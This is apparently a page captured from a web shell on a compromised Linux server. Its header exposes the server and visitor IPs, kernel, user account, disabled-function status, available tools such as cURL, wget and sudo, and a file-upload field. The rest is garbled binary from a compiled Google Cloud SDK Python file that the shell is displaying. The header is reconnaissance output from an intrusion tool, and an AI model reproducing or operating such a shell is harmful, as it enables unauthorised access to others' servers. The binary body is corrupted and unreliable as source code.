| Server IP : 35.236.43.222 / Your IP : 216.73.216.143 Web Server : Apache System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64 User : deploy ( 1002) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/lib/google-cloud-sdk/lib/surface/storage/__pycache__/ |
Upload File : |
�
��{ � �$ � d Z ddlmZ ddlmZ ddlmZ ddlZddlZddlmZ ddl m
Z
ddl mZ dd l mZ dd
l m
Z
ddl mZ ddl mZ dd
l mZ ddlmZ ddlmZ ddlmZ dZdZdZdZd� Zd� Zd� Zej G d� dej � � � � Z dS )zAImplementation of hash command for getting formatted file hashes.� )�absolute_import)�division)�unicode_literalsN)�base)�encryption_util)�errors)�fast_crc32c_util)�flags)� hash_util)�storage_url)�wildcard_iterator)�resource_reference)�crc32c)�log�
digest_format�crc32c_hash�md5_hash�urlc �� � | �dS t j t j | � d� � � d� � � � � � � d� � S )z@Converts base64 hash digest to hex-formatted hash digest string.Nz
"'zutf-8)�binascii�hexlify�base64� b64decode�strip�encode�decode)�
base64_strings �lib/surface/storage/hash.py�_convert_base64_to_hexr * s] � ����4� � ���
�
�
�g�
&�
&�
-�
-�g�
6�
6�8� 8�
9�
9�9?�����I� c �N � t | t j t j f� � S �N)�
isinstancer �ObjectResource�FileObjectResource)�resources r �_is_object_or_file_resourcer'